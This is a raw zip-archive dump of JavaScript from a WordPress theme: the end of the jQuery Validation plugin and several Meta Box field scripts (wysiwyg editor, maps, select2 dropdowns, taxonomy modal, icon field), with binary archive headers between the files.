			return this.dependTypes[ typeof param ] ? this.dependTypes[ typeof param ]( param, element ) : true;
		},

		dependTypes: {
			"boolean": function( param ) {
				return param;
			},
			"string": function( param, element ) {
				return !!$( param, element.form ).length;
			},
			"function": function( param, element ) {
				return param( element );
			}
		},

		optional: function( element ) {
			var val = this.elementValue( element );
			return !$.validator.methods.required.call( this, val, element ) && "dependency-mismatch";
		},

		elementAjaxPort: function( element ) {
			return "validate" + element.name;
		},

		startRequest: function( element ) {
			if ( !this.pending[ element.name ] ) {
				this.pendingRequest++;
				$( element ).addClass( this.settings.pendingClass );
				this.pending[ element.name ] = true;
			}
		},

		stopRequest: function( element, valid ) {
			this.pendingRequest--;

			// Sometimes synchronization fails, make sure pendingRequest is never < 0
			if ( this.pendingRequest < 0 ) {
				this.pendingRequest = 0;
			}
			delete this.pending[ element.name ];
			$( element ).removeClass( this.settings.pendingClass );
			if ( valid && this.pendingRequest === 0 && this.formSubmitted && this.form() && this.pendingRequest === 0 ) {
				$( this.currentForm ).trigger( "submit" );

				// Remove the hidden input that was used as a replacement for the
				// missing submit button. The hidden input is added by `handle()`
				// to ensure that the value of the used submit button is passed on
				// for scripted submits triggered by this method
				if ( this.submitButton ) {
					$( "input:hidden[name='" + this.submitButton.name + "']", this.currentForm ).remove();
				}

				this.formSubmitted = false;
			} else if ( !valid && this.pendingRequest === 0 && this.formSubmitted ) {
				$( this.currentForm ).triggerHandler( "invalid-form", [ this ] );
				this.formSubmitted = false;
			}
		},

		abortRequest: function( element ) {
			var port;

			if ( this.pending[ element.name ] ) {
				port = this.elementAjaxPort( element );
				$.ajaxAbort( port );

				this.pendingRequest--;

				// Sometimes synchronization fails, make sure pendingRequest is never < 0
				if ( this.pendingRequest < 0 ) {
					this.pendingRequest = 0;
				}

				delete this.pending[ element.name ];
				$( element ).removeClass( this.settings.pendingClass );
			}
		},

		previousValue: function( element, method ) {
			method = typeof method === "string" && method || "remote";

			return $.data( element, "previousValue" ) || $.data( element, "previousValue", {
				old: null,
				valid: true,
				message: this.defaultMessage( element, { method: method } )
			} );
		},

		// Cleans up all forms and elements, removes validator-specific events
		destroy: function() {
			this.resetForm();

			$( this.currentForm )
				.off( ".validate" )
				.removeData( "validator" )
				.find( ".validate-equalTo-blur" )
					.off( ".validate-equalTo" )
					.removeClass( "validate-equalTo-blur" )
				.find( ".validate-lessThan-blur" )
					.off( ".validate-lessThan" )
					.removeClass( "validate-lessThan-blur" )
				.find( ".validate-lessThanEqual-blur" )
					.off( ".validate-lessThanEqual" )
					.removeClass( "validate-lessThanEqual-blur" )
				.find( ".validate-greaterThanEqual-blur" )
					.off( ".validate-greaterThanEqual" )
					.removeClass( "validate-greaterThanEqual-blur" )
				.find( ".validate-greaterThan-blur" )
					.off( ".validate-greaterThan" )
					.removeClass( "validate-greaterThan-blur" );
		}

	},

	classRuleSettings: {
		required: { required: true },
		email: { email: true },
		url: { url: true },
		date: { date: true },
		dateISO: { dateISO: true },
		number: { number: true },
		digits: { digits: true },
		creditcard: { creditcard: true }
	},

	addClassRules: function( className, rules ) {
		if ( className.constructor === String ) {
			this.classRuleSettings[ className ] = rules;
		} else {
			$.extend( this.classRuleSettings, className );
		}
	},

	classRules: function( element ) {
		var rules = {},
			classes = $( element ).attr( "class" );

		if ( classes ) {
			$.each( classes.split( " " ), function() {
				if ( this in $.validator.classRuleSettings ) {
					$.extend( rules, $.validator.classRuleSettings[ this ] );
				}
			} );
		}
		return rules;
	},

	normalizeAttributeRule: function( rules, type, method, value ) {

		// Convert the value to a number for number inputs, and for text for backwards compability
		// allows type="date" and others to be compared as strings
		if ( /min|max|step/.test( method ) && ( type === null || /number|range|text/.test( type ) ) ) {
			value = Number( value );

			// Support Opera Mini, which returns NaN for undefined minlength
			if ( isNaN( value ) ) {
				value = undefined;
			}
		}

		if ( value || value === 0 ) {
			rules[ method ] = value;
		} else if ( type === method && type !== "range" ) {

			// Exception: the jquery validate 'range' method
			// does not test for the html5 'range' type
			rules[ type === "date" ? "dateISO" : method ] = true;
		}
	},

	attributeRules: function( element ) {
		var rules = {},
			$element = $( element ),
			type = element.getAttribute( "type" ),
			method, value;

		for ( method in $.validator.methods ) {

			// Support for <input required> in both html5 and older browsers
			if ( method === "required" ) {
				value = element.getAttribute( method );

				// Some browsers return an empty string for the required attribute
				// and non-HTML5 browsers might have required="" markup
				if ( value === "" ) {
					value = true;
				}

				// Force non-HTML5 browsers to return bool
				value = !!value;
			} else {
				value = $element.attr( method );
			}

			this.normalizeAttributeRule( rules, type, method, value );
		}

		// 'maxlength' may be returned as -1, 2147483647 ( IE ) and 524288 ( safari ) for text inputs
		if ( rules.maxlength && /-1|2147483647|524288/.test( rules.maxlength ) ) {
			delete rules.maxlength;
		}

		return rules;
	},

	dataRules: function( element ) {
		var rules = {},
			$element = $( element ),
			type = element.getAttribute( "type" ),
			method, value;

		for ( method in $.validator.methods ) {
			value = $element.data( "rule" + method.charAt( 0 ).toUpperCase() + method.substring( 1 ).toLowerCase() );

			// Cast empty attributes like `data-rule-required` to `true`
			if ( value === "" ) {
				value = true;
			}

			this.normalizeAttributeRule( rules, type, method, value );
		}
		return rules;
	},

	staticRules: function( element ) {
		var rules = {},
			validator = $.data( element.form, "validator" );

		if ( validator.settings.rules ) {
			rules = $.validator.normalizeRule( validator.settings.rules[ element.name ] ) || {};
		}
		return rules;
	},

	normalizeRules: function( rules, element ) {

		// Handle dependency check
		$.each( rules, function( prop, val ) {

			// Ignore rule when param is explicitly false, eg. required:false
			if ( val === false ) {
				delete rules[ prop ];
				return;
			}
			if ( val.param || val.depends ) {
				var keepRule = true;
				switch ( typeof val.depends ) {
				case "string":
					keepRule = !!$( val.depends, element.form ).length;
					break;
				case "function":
					keepRule = val.depends.call( element, element );
					break;
				}
				if ( keepRule ) {
					rules[ prop ] = val.param !== undefined ? val.param : true;
				} else {
					$.data( element.form, "validator" ).resetElements( $( element ) );
					delete rules[ prop ];
				}
			}
		} );

		// Evaluate parameters
		$.each( rules, function( rule, parameter ) {
			rules[ rule ] = typeof parameter === "function" && rule !== "normalizer" ? parameter( element ) : parameter;
		} );

		// Clean number parameters
		$.each( [ "minlength", "maxlength" ], function() {
			if ( rules[ this ] ) {
				rules[ this ] = Number( rules[ this ] );
			}
		} );
		$.each( [ "rangelength", "range" ], function() {
			var parts;
			if ( rules[ this ] ) {
				if ( Array.isArray( rules[ this ] ) ) {
					rules[ this ] = [ Number( rules[ this ][ 0 ] ), Number( rules[ this ][ 1 ] ) ];
				} else if ( typeof rules[ this ] === "string" ) {
					parts = rules[ this ].replace( /[\[\]]/g, "" ).split( /[\s,]+/ );
					rules[ this ] = [ Number( parts[ 0 ] ), Number( parts[ 1 ] ) ];
				}
			}
		} );

		if ( $.validator.autoCreateRanges ) {

			// Auto-create ranges
			if ( rules.min != null && rules.max != null ) {
				rules.range = [ rules.min, rules.max ];
				delete rules.min;
				delete rules.max;
			}
			if ( rules.minlength != null && rules.maxlength != null ) {
				rules.rangelength = [ rules.minlength, rules.maxlength ];
				delete rules.minlength;
				delete rules.maxlength;
			}
		}

		return rules;
	},

	// Converts a simple string to a {string: true} rule, e.g., "required" to {required:true}
	normalizeRule: function( data ) {
		if ( typeof data === "string" ) {
			var transformed = {};
			$.each( data.split( /\s/ ), function() {
				transformed[ this ] = true;
			} );
			data = transformed;
		}
		return data;
	},

	// https://jqueryvalidation.org/jQuery.validator.addMethod/
	addMethod: function( name, method, message ) {
		$.validator.methods[ name ] = method;
		$.validator.messages[ name ] = message !== undefined ? message : $.validator.messages[ name ];
		if ( method.length < 3 ) {
			$.validator.addClassRules( name, $.validator.normalizeRule( name ) );
		}
	},

	// https://jqueryvalidation.org/jQuery.validator.methods/
	methods: {

		// https://jqueryvalidation.org/required-method/
		required: function( value, element, param ) {

			// Check if dependency is met
			if ( !this.depend( param, element ) ) {
				return "dependency-mismatch";
			}
			if ( element.nodeName.toLowerCase() === "select" ) {

				// Could be an array for select-multiple or a string, both are fine this way
				var val = $( element ).val();
				return val && val.length > 0;
			}
			if ( this.checkable( element ) ) {
				return this.getLength( value, element ) > 0;
			}
			return value !== undefined && value !== null && value.length > 0;
		},

		// https://jqueryvalidation.org/email-method/
		email: function( value, element ) {

			// From https://html.spec.whatwg.org/multipage/forms.html#valid-e-mail-address
			// Retrieved 2014-01-14
			// If you have a problem with this implementation, report a bug against the above spec
			// Or use custom methods to implement your own email validation
			return this.optional( element ) || /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test( value );
		},

		// https://jqueryvalidation.org/url-method/
		url: function( value, element ) {

			// Copyright (c) 2010-2013 Diego Perini, MIT licensed
			// https://gist.github.com/dperini/729294
			// see also https://mathiasbynens.be/demo/url-regex
			// modified to allow protocol-relative URLs
			return this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})+(?::(?:[^\]\[?\/<~#`!@$^&*()+=}|:";',>{ ]|%[0-9A-Fa-f]{2})*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u00a1-\uffff][a-z0-9\u00a1-\uffff_-]{0,62})?[a-z0-9\u00a1-\uffff]\.)+(?:[a-z\u00a1-\uffff]{2,}\.?))(?::\d{2,5})?(?:[/?#]\S*)?$/i.test( value );
		},

		// https://jqueryvalidation.org/date-method/
		date: ( function() {
			var called = false;

			return function( value, element ) {
				if ( !called ) {
					called = true;
					if ( this.settings.debug && window.console ) {
						console.warn(
							"The `date` method is deprecated and will be removed in version '2.0.0'.\n" +
							"Please don't use it, since it relies on the Date constructor, which\n" +
							"behaves very differently across browsers and locales. Use `dateISO`\n" +
							"instead or one of the locale specific methods in `localizations/`\n" +
							"and `additional-methods.js`."
						);
					}
				}

				return this.optional( element ) || !/Invalid|NaN/.test( new Date( value ).toString() );
			};
		}() ),

		// https://jqueryvalidation.org/dateISO-method/
		dateISO: function( value, element ) {
			return this.optional( element ) || /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test( value );
		},

		// https://jqueryvalidation.org/number-method/
		number: function( value, element ) {
			return this.optional( element ) || /^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test( value );
		},

		// https://jqueryvalidation.org/digits-method/
		digits: function( value, element ) {
			return this.optional( element ) || /^\d+$/.test( value );
		},

		// https://jqueryvalidation.org/minlength-method/
		minlength: function( value, element, param ) {
			var length = Array.isArray( value ) ? value.length : this.getLength( value, element );
			return this.optional( element ) || length >= param;
		},

		// https://jqueryvalidation.org/maxlength-method/
		maxlength: function( value, element, param ) {
			var length = Array.isArray( value ) ? value.length : this.getLength( value, element );
			return this.optional( element ) || length <= param;
		},

		// https://jqueryvalidation.org/rangelength-method/
		rangelength: function( value, element, param ) {
			var length = Array.isArray( value ) ? value.length : this.getLength( value, element );
			return this.optional( element ) || ( length >= param[ 0 ] && length <= param[ 1 ] );
		},

		// https://jqueryvalidation.org/min-method/
		min: function( value, element, param ) {
			return this.optional( element ) || value >= param;
		},

		// https://jqueryvalidation.org/max-method/
		max: function( value, element, param ) {
			return this.optional( element ) || value <= param;
		},

		// https://jqueryvalidation.org/range-method/
		range: function( value, element, param ) {
			return this.optional( element ) || ( value >= param[ 0 ] && value <= param[ 1 ] );
		},

		// https://jqueryvalidation.org/step-method/
		step: function( value, element, param ) {
			var type = $( element ).attr( "type" ),
				errorMessage = "Step attribute on input type " + type + " is not supported.",
				supportedTypes = [ "text", "number", "range" ],
				re = new RegExp( "\\b" + type + "\\b" ),
				notSupported = type && !re.test( supportedTypes.join() ),
				decimalPlaces = function( num ) {
					var match = ( "" + num ).match( /(?:\.(\d+))?$/ );
					if ( !match ) {
						return 0;
					}

					// Number of digits right of decimal point.
					return match[ 1 ] ? match[ 1 ].length : 0;
				},
				toInt = function( num ) {
					return Math.round( num * Math.pow( 10, decimals ) );
				},
				valid = true,
				decimals;

			// Works only for text, number and range input types
			// TODO find a way to support input types date, datetime, datetime-local, month, time and week
			if ( notSupported ) {
				throw new Error( errorMessage );
			}

			decimals = decimalPlaces( param );

			// Value can't have too many decimals
			if ( decimalPlaces( value ) > decimals || toInt( value ) % toInt( param ) !== 0 ) {
				valid = false;
			}

			return this.optional( element ) || valid;
		},

		// https://jqueryvalidation.org/equalTo-method/
		equalTo: function( value, element, param ) {

			// Bind to the blur event of the target in order to revalidate whenever the target field is updated
			var target = $( param );
			if ( this.settings.onfocusout && target.not( ".validate-equalTo-blur" ).length ) {
				target.addClass( "validate-equalTo-blur" ).on( "blur.validate-equalTo", function() {
					$( element ).valid();
				} );
			}
			return value === target.val();
		},

		// https://jqueryvalidation.org/remote-method/
		remote: function( value, element, param, method ) {
			if ( this.optional( element ) ) {
				return "dependency-mismatch";
			}

			method = typeof method === "string" && method || "remote";

			var previous = this.previousValue( element, method ),
				validator, data, optionDataString;

			if ( !this.settings.messages[ element.name ] ) {
				this.settings.messages[ element.name ] = {};
			}
			previous.originalMessage = previous.originalMessage || this.settings.messages[ element.name ][ method ];
			this.settings.messages[ element.name ][ method ] = previous.message;

			param = typeof param === "string" && { url: param } || param;
			optionDataString = $.param( $.extend( { data: value }, param.data ) );
			if ( previous.old === optionDataString ) {
				return previous.valid;
			}

			previous.old = optionDataString;
			validator = this;
			this.startRequest( element );
			data = {};
			data[ element.name ] = value;
			$.ajax( $.extend( true, {
				mode: "abort",
				port: this.elementAjaxPort( element ),
				dataType: "json",
				data: data,
				context: validator.currentForm,
				success: function( response ) {
					var valid = response === true || response === "true",
						errors, message, submitted;

					validator.settings.messages[ element.name ][ method ] = previous.originalMessage;
					if ( valid ) {
						submitted = validator.formSubmitted;
						validator.toHide = validator.errorsFor( element );
						validator.formSubmitted = submitted;
						validator.successList.push( element );
						validator.invalid[ element.name ] = false;
						validator.showErrors();
					} else {
						errors = {};
						message = response || validator.defaultMessage( element, { method: method, parameters: value } );
						errors[ element.name ] = previous.message = message;
						validator.invalid[ element.name ] = true;
						validator.showErrors( errors );
					}
					previous.valid = valid;
					validator.stopRequest( element, valid );
				}
			}, param ) );
			return "pending";
		}
	}

} );

// Ajax mode: abort
// usage: $.ajax({ mode: "abort"[, port: "uniqueport"]});
//        $.ajaxAbort( port );
// if mode:"abort" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort()

var pendingRequests = {},
	ajax;

// Use a prefilter if available (1.5+)
if ( $.ajaxPrefilter ) {
	$.ajaxPrefilter( function( settings, _, xhr ) {
		var port = settings.port;
		if ( settings.mode === "abort" ) {
			$.ajaxAbort( port );
			pendingRequests[ port ] = xhr;
		}
	} );
} else {

	// Proxy ajax
	ajax = $.ajax;
	$.ajax = function( settings ) {
		var mode = ( "mode" in settings ? settings : $.ajaxSettings ).mode,
			port = ( "port" in settings ? settings : $.ajaxSettings ).port;
		if ( mode === "abort" ) {
			$.ajaxAbort( port );
			pendingRequests[ port ] = ajax.apply( this, arguments );
			return pendingRequests[ port ];
		}
		return ajax.apply( this, arguments );
	};
}

// Abort the previous request without sending a new one
$.ajaxAbort = function( port ) {
	if ( pendingRequests[ port ] ) {
		pendingRequests[ port ].abort();
		delete pendingRequests[ port ];
	}
};
return $;
}));PK     N\Yr?  ?  +  inc/dashboard/lib/meta-box/js/input-list.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	function toggleTree() {
		var $this = $( this ),
			$children = $this.closest( 'li' ).children( 'ul' );

		if ( $this.is( ':checked' ) ) {
			$children.removeClass( 'hidden' );
		} else {
			$children.addClass( 'hidden' ).find( 'input' ).prop( 'checked', false );
		}
	}

	function toggleAll( e ) {
		e.preventDefault();

		var $this = $( this ),
			checked = $this.data( 'checked' );

		if ( undefined === checked ) {
			checked = true;
		}

		$this.parent().siblings( '.rwmb-input-list' ).find( 'input' ).prop( 'checked', checked ).trigger( 'change' );

		checked = !checked;
		$this.data( 'checked', checked );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-input-list.rwmb-collapse input[type="checkbox"]' ).each( toggleTree );
	}

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'change', '.rwmb-input-list.rwmb-collapse input[type="checkbox"]', toggleTree )
		.on( 'clone', '.rwmb-input-list.rwmb-collapse input[type="checkbox"]', toggleTree )
		.on( 'click', '.rwmb-input-list-select-all-none', toggleAll );
} )( jQuery, rwmb );
PK     N\~0n  n  (  inc/dashboard/lib/meta-box/js/wysiwyg.jsnu [        ( function( $, wp, window, rwmb ) {
	'use strict';

	/**
	 * Transform textarea into wysiwyg editor.
	 */
	function transform() {
		var $this = $( this ),
			$wrapper = $this.closest( '.wp-editor-wrap' ),
			id = $this.attr( 'id' ),
			isInBlock = $this.closest( '.wp-block, .components-panel' ).length > 0;

		// Update the ID attribute if the editor is in a new block.
		if ( isInBlock ) {
			id = id + '_' + rwmb.uniqid();
			$this.attr( 'id', id );
		}

		// Get current editor mode before updating the DOM.
		var mode = $wrapper.hasClass( 'tmce-active' ) ? 'tmce' : 'html';

		// Update the DOM
		$this.show();
		updateDom( $wrapper, id );

		// Get id of the original editor to get its tinyMCE and quick tags settings
		var originalId = getOriginalId( this ),
			settings = getEditorSettings( originalId ),
			customSettings = $this.closest( '.rwmb-input' ).find( '.rwmb-wysiwyg-id' ).data( 'options' );

		// TinyMCE
		if ( window.tinymce ) {
			settings.tinymce.selector = '#' + id;
			settings.tinymce.setup = function( editor ) {
				editor.on( 'keyup change', function() {
					editor.save(); // Required for live validation.
					$this.trigger( 'change' );
				} );
			};

			// Set editor mode after initializing.
			settings.tinymce.init_instance_callback = function() {
				switchEditors.go( id, mode );
			};

			tinymce.remove( '#' + id );
			tinymce.init( $.extend( settings.tinymce, customSettings.tinymce ) );
		}

		// Quick tags
		if ( window.quicktags ) {
			settings.quicktags.id = id;
			quicktags( $.extend( settings.quicktags, customSettings.quicktags ) );
			QTags._buttonsInit();
		}
	}

	function getEditorSettings( id ) {
		var settings = getDefaultEditorSettings();

		if ( id && tinyMCEPreInit.mceInit.hasOwnProperty( id ) ) {
			settings.tinymce = tinyMCEPreInit.mceInit[ id ];
		}
		if ( id && window.quicktags && tinyMCEPreInit.qtInit.hasOwnProperty( id ) ) {
			settings.quicktags = tinyMCEPreInit.qtInit[ id ];
		}

		return settings;
	}

	function getDefaultEditorSettings() {
		var settings = wp.editor.getDefaultSettings();

		settings.tinymce.toolbar1 = 'formatselect,bold,italic,bullist,numlist,blockquote,alignleft,aligncenter,alignright,link,unlink,wp_more,spellchecker,fullscreen,wp_adv';
		settings.tinymce.toolbar2 = 'strikethrough,hr,forecolor,pastetext,removeformat,charmap,outdent,indent,undo,redo,wp_help';

		settings.quicktags.buttons = 'strong,em,link,block,del,ins,img,ul,ol,li,code,more,close';

		return settings;
	}

	/**
	 * Get original ID of the textarea
	 * The ID will be used to reference to tinyMCE and quick tags settings
	 * @param el Current cloned textarea
	 */
	function getOriginalId( el ) {
		return el.closest( '.rwmb-input' ).querySelector( '.rwmb-wysiwyg-id' ).dataset.id;
	}

	/**
	 * Update id, class, [data-] attributes, ... of the cloned editor.
	 * @param $wrapper Editor wrapper element
	 * @param id       Editor ID
	 */
	function updateDom( $wrapper, id ) {
		// Wrapper div and media buttons
		$wrapper.attr( 'id', 'wp-' + id + '-wrap' )
			.find( '.mce-container' ).remove().end() // Remove rendered tinyMCE editor
			.find( '.wp-editor-tools' ).attr( 'id', 'wp-' + id + '-editor-tools' )
			.find( '.wp-media-buttons' ).attr( 'id', 'wp-' + id + '-media-buttons' )
			.find( 'button' ).data( 'editor', id ).attr( 'data-editor', id );

		// Set default active mode.
		$wrapper.removeClass( 'html-active tmce-active' );
		$wrapper.addClass( window.tinymce ? 'tmce-active' : 'html-active' );

		// Editor tabs
		$wrapper.find( '.switch-tmce' )
			.attr( 'id', id + 'tmce' )
			.data( 'wp-editor-id', id ).attr( 'data-wp-editor-id', id ).end()
			.find( '.switch-html' )
			.attr( 'id', id + 'html' )
			.data( 'wp-editor-id', id ).attr( 'data-wp-editor-id', id );

		// Quick tags
		$wrapper.find( '.wp-editor-container' ).attr( 'id', 'wp-' + id + '-editor-container' )
			.find( '.quicktags-toolbar' ).attr( 'id', 'qt_' + id + '_toolbar' ).html( '' );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-wysiwyg' ).each( transform );
	}

	/**
	 * Add required attribute for validation.
	 *
	 * this = textarea element.
	 */
	function addRequiredAttribute() {
		if ( this.classList.contains( 'rwmb-wysiwyg-required' ) ) {
			this.setAttribute( 'required', true );
		}
	}

	/**
	 * Setup events for the classic editor to make live validation work.
	 *
	 * When change:
	 * - Save content to textarea for live validation.
	 * - Trigger change event for compatibility.
	 *
	 * this = textarea element.
	 */
	function setupEvents() {
		if ( !window.tinymce ) {
			return;
		}
		var editor = tinymce.get( this.id );
		if ( !editor ) {
			return;
		}
		var $this = $( this );
		editor.on( 'keyup change', function() {
			editor.save(); // Required for live validation.
			$this.trigger( 'change' );
		} );
	}

	$( function() {
		var $editors = $( '.rwmb-wysiwyg' );
		$editors.each( addRequiredAttribute );
		$editors.each( setupEvents );

		// Force re-render editors in Gutenberg. Use setTimeOut to run after all other code. Bug occurs in WP 5.6.
		if ( rwmb.isGutenberg ) {
			setTimeout( () => $editors.each( transform ), 200 );
		}
	} );

	rwmb.$document
		.on( 'mb_blocks_edit', init )
		.on( 'mb_init_editors', init )
		.on( 'clone', '.rwmb-wysiwyg', function() {
			/*
			 * Transform a textarea to an editor is a heavy task.
			 * Moving it to the end of task queue with setTimeout makes cloning faster.
			 */
			setTimeout( transform.bind( this ), 200 );
		} );
} )( jQuery, wp, window, rwmb );
PK     N\hM    -  inc/dashboard/lib/meta-box/js/map-frontend.jsnu [        /* global google, jQuery */

( function( $, document ) {
	'use strict';
    
	/**
	 * Callback function for Google Maps Lazy Load library to display map
	 *
	 * @return void
	 */
	function displayMap() {
		var $container = $( this ),
			options = $container.data( 'map_options' );

		var mapOptions = options.js_options,
			center = new google.maps.LatLng( options.latitude, options.longitude ),
			map;

		switch ( mapOptions.mapTypeId ) {
			case 'ROADMAP':
				mapOptions.mapTypeId = google.maps.MapTypeId.ROADMAP;
				break;
			case 'SATELLITE':
				mapOptions.mapTypeId = google.maps.MapTypeId.SATELLITE;
				break;
			case 'HYBRID':
				mapOptions.mapTypeId = google.maps.MapTypeId.HYBRID;
				break;
			case 'TERRAIN':
				mapOptions.mapTypeId = google.maps.MapTypeId.TERRAIN;
				break;
		}
		mapOptions.center = center;

		// Typcast zoom to a number
		mapOptions.zoom *= 1;

		if ( typeof mapOptions.styles === 'string' ) {
			mapOptions.styles = JSON.parse(mapOptions.styles);
		}

		map = new google.maps.Map( this, mapOptions );

		// Set marker
		if ( options.marker ) {
			var marker = new google.maps.Marker( {
				position: center,
				map: map
			} );

			// Set marker title
			if ( options.marker_title ) {
				marker.setTitle( options.marker_title );
			}

			// Set marker icon
			if ( options.marker_icon ) {
				marker.setIcon( options.marker_icon );
			}
		}

		// Set info window
		if ( options.info_window ) {
			var infoWindow = new google.maps.InfoWindow( {
				content: options.info_window,
				minWidth: 200
			} );

			google.maps.event.addListener( marker, 'click', function () {
				infoWindow.open( map, marker );
			} );

			if ( true === mapOptions.openInfoWindow ) {
				infoWindow.open( map, marker );
			}
		}
	}

	// Loop through all map instances and display them
	$( '.rwmb-map-canvas' ).each( displayMap );
    
    $( document ).on( 'mb_blocks_preview', function( e ) {
        $( e.target )
                .find( ".rwmb-map-canvas" )
                .each( displayMap );
    } );    
} )( jQuery, document );
PK     N\gF  F  )  inc/dashboard/lib/meta-box/js/taxonomy.jsnu [        ( function ( $, rwmb ) {
    'use strict';

    function addNew() {
        const $this = $( this );

        $this.rwmbModal( {
            removeElement: '.form-wrap > h2',
            callback: function ( $modal, $modalContent ) {
                $modalContent.find( '#col-right' ).css( 'display', 'none' );
                $modalContent.find( '.search-box' ).css( 'display', 'none' );
                $modalContent.find( '#wpbody' ).css( 'padding-top', 0 );
                $modal.css( {
                    'max-width': '480px',
                    'margin': 'auto',
                } );
            },
            closeModalCallback: function ( $modal, $input ) {
                if ( $modal.find( '#the-list tr:first td:eq(0) .row-actions' ).length > 0 ) {
                    this.$objectId = parseInt( $modal.find( '#the-list tr:first' ).attr( 'id' ).split( '-' )[ 1 ] );
                    this.$objectDisplay = $modal.find( '#the-list tr:first td:eq(0) strong a' ).text();
                }
            }
        } );
    }

    function init( e ) {
        const wrapper = e.target || e;
        $( wrapper ).find( '.rwmb-taxonomy-add-button' ).each( addNew );
    }

    rwmb.$document
        .on( 'mb_ready', init )
        .on( 'clone', function ( e ) {
            init( $( e.target ).parent() );
        } );

} )( jQuery, rwmb );
PK     N\u԰    0  inc/dashboard/lib/meta-box/js/select-advanced.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	// Cache ajax requests: https://github.com/select2/select2/issues/110#issuecomment-419247158
	var cache = {};

	/**
	 * Reorder selected values in correct order that they were selected.
	 * @param $select2 jQuery element of the select2.
	 */
	function reorderSelected( $select2 ) {
		var selected = $select2.data( 'selected' );
		if ( !selected ) {
			return;
		}
		selected.forEach( function ( value ) {
			var option = $select2.children( '[value="' + value + '"]' );
			option.detach();
			$select2.append( option );
		} );
		$select2.trigger( 'change' );
	}

	/**
	 * Transform select fields into beautiful dropdown with select2 library.
	 */
	function transform() {
		var $this = $( this ),
			options = $this.data( 'options' );

		$this.removeClass( 'select2-hidden-accessible' ).removeAttr( 'data-select2-id' );
		$this.siblings( '.select2-container' ).remove();
		$this.find( 'option' ).removeAttr( 'data-select2-id' );

		if ( options.ajax_data ) {
			options.ajax.dataType = 'json';
			options.ajax.data = function ( params ) {
				return Object.assign( options.ajax_data, params );
			};
			options.ajax.processResults = function ( response ) {
				var items = response.data.items.map( function ( item ) {
					return {
						id: item.value,
						text: _.unescape( item.label ),
					};
				} );

				var results = {
					results: items
				};
				if ( response.data.hasOwnProperty( 'more' ) ) {
					results.pagination = { more: true };
				}

				return results;
			};

			options.ajax.transport = function ( params, success, failure ) {
				if ( params.data._type === 'query' ) {
					delete params.data.page;
				}

				// Create cache key from ajax params from only neccessary keys to make cache available for multiple fields.
				var data = $.extend( true, {}, params.data );
				delete data.field.id;
				delete data.action;
				if ( !data.term ) {
					delete data.term;
				}

				var key = JSON.stringify( data );
				if ( cache[ key ] ) {
					success( cache[ key ] );
					return;
				}

				var actions = {
					'post': 'rwmb_get_posts',
					'taxonomy': 'rwmb_get_terms',
					'taxonomy_advanced': 'rwmb_get_terms',
					'user': 'rwmb_get_users'
				};
				params.data.action = actions[ params.data.field.type ];
				params.method = 'POST';

				return $.ajax( params ).then( function ( data ) {
					cache[ key ] = data;
					return data;
				} ).then( success ).fail( failure );
			};
		}

		$this.show();

		if ( $this.hasClass( 'rwmb-icon' ) ) {
			// Initialize select2 with icons for icon field.
			$this.trigger( 'init_icon_field', [ options ] );
		} else {
			// Initialize select2 normally.
			$this.select2( options );
		}

		if ( !$this.attr( 'multiple' ) ) {
			return;
		}

		reorderSelected( $this );

		/**
		 * Preserve the order that options are selected.
		 * @see https://github.com/select2/select2/issues/3106#issuecomment-255492815
		 */
		$this.on( 'select2:select', function ( event ) {
			var option = $this.children( '[value="' + event.params.data.id + '"]' );
			option.detach();
			$this.append( option ).trigger( 'change' );
		} );
	}

	function init( e ) {
		$( e.target ).find( '.rwmb-select_advanced, .rwmb-icon' ).each( transform );
	}

	function fixDropdownPosition( e ) {
		if ( $( "#wpadminbar" ).length === 0 ) {
			return;
		}

		if ( rwmbSelect2.isAdmin == 1 ) {
			$( 'body > .select2-container--open .select2-dropdown--above' ).css( 'top', 0 );
			return;
		}

		$( 'body > .select2-container:last-child > .select2-dropdown' ).css( 'top', $( document.body ).offset().top );
	};

	rwmb.$document
		.on( 'mb_ready', init )
		.on( 'clone', '.rwmb-select_advanced, .rwmb-icon', transform )
		.on( 'select2:open', fixDropdownPosition );
} )( jQuery, rwmb );
PK     N\Og    %  inc/dashboard/lib/meta-box/js/icon.jsnu [        /**
 * Link: https://stackoverflow.com/questions/37386293/how-to-add-icon-in-select2
 */

( function ( $, rwmb ) {
	'use strict';

	const template = option => {
		if ( option.text.includes( '<svg' ) ) {
			const title = option.text.replace( /<svg.*?>.*?<\/svg>/, '' );
			return $( `<span class="rwmb-icon-select" title="${ title }">${ option.text }</span>` );
		}

		return option.id ? $( `<span class="rwmb-icon-select" title=${ option.text }><i class="${ option.id }"></i>${ option.text }</span>` ) : option.text;
	};

	function initIconField( event, options ) {
		$( this ).select2( {
			...options,
			templateResult: template,
			templateSelection: template,
		} );
	}

	rwmb.$document
		.on( 'init_icon_field', '.rwmb-icon', initIconField );
} )( jQuery, rwmb );PK     N\۴$   $   &  inc/dashboard/lib/meta-box/js/clone.jsnu [        ( function ( $, rwmb ) {
	'use strict';

	// Object holds all methods related to fields' index when clone
	var cloneIndex = {
		/**
		 * Set index for fields in a .rwmb-clone
		 * @param $inputs .rwmb-clone element
		 * @param index Index value
		 */
		set: function ( $inputs, index ) {
			$inputs.each( function () {
				var $field = $( this );

				// Name attribute
				var name = this.name;
